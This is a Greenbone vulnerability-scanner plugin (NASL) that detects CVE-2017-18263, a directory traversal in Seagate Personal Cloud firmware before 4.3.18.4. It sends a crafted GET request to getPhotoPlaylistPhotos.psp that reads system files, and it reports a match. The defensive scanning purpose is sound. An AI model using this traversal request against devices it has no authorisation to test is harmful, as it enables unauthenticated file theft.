Seagate Personal Cloud < 4.3.18.4 Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.141185");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2018-06-15 10:55:15 +0700 (Fri, 15 Jun 2018)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2018-06-05 14:37:00 +0000 (Tue, 05 Jun 2018)");

  script_cve_id("CVE-2017-18263");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Seagate Personal Cloud < 4.3.18.4 Directory Traversal Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2018 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_seagate_nas_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("seagate_nas/detected");

  script_tag(name:"summary", value:"Seagate Media Server in Seagate Personal Cloud before 4.3.18.4 has directory
  traversal in getPhotoPlaylistPhotos.psp via a parameter named url.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An unauthenticated attacker download arbitrary files.");

  script_tag(name:"solution", value:"Update to firmware version 4.3.18.4 or later.");

  script_xref(name:"URL", value:"https://sumofpwn.nl/advisory/2017/seagate-media-server-path-traversal-vulnerability.html");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");

cpe_list = make_list("cpe:/h:seagate:personal_cloud", "cpe:/h:seagate:personal_cloud_2_bay");
if (!infos = get_app_port_from_list(cpe_list: cpe_list))
  exit(0);

cpe = infos["cpe"];
port = infos["port"];

if (!get_app_location(cpe:cpe, port: port, nofork:TRUE))
  exit(0);

files = traversal_files();

foreach pattern(keys(files)) {

  file = files[pattern];

  url = '/getPhotoPlaylistPhotos.psp?url=/' + file;

  if (http_vuln_check(port: port, url: url, pattern: pattern, check_header: TRUE)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);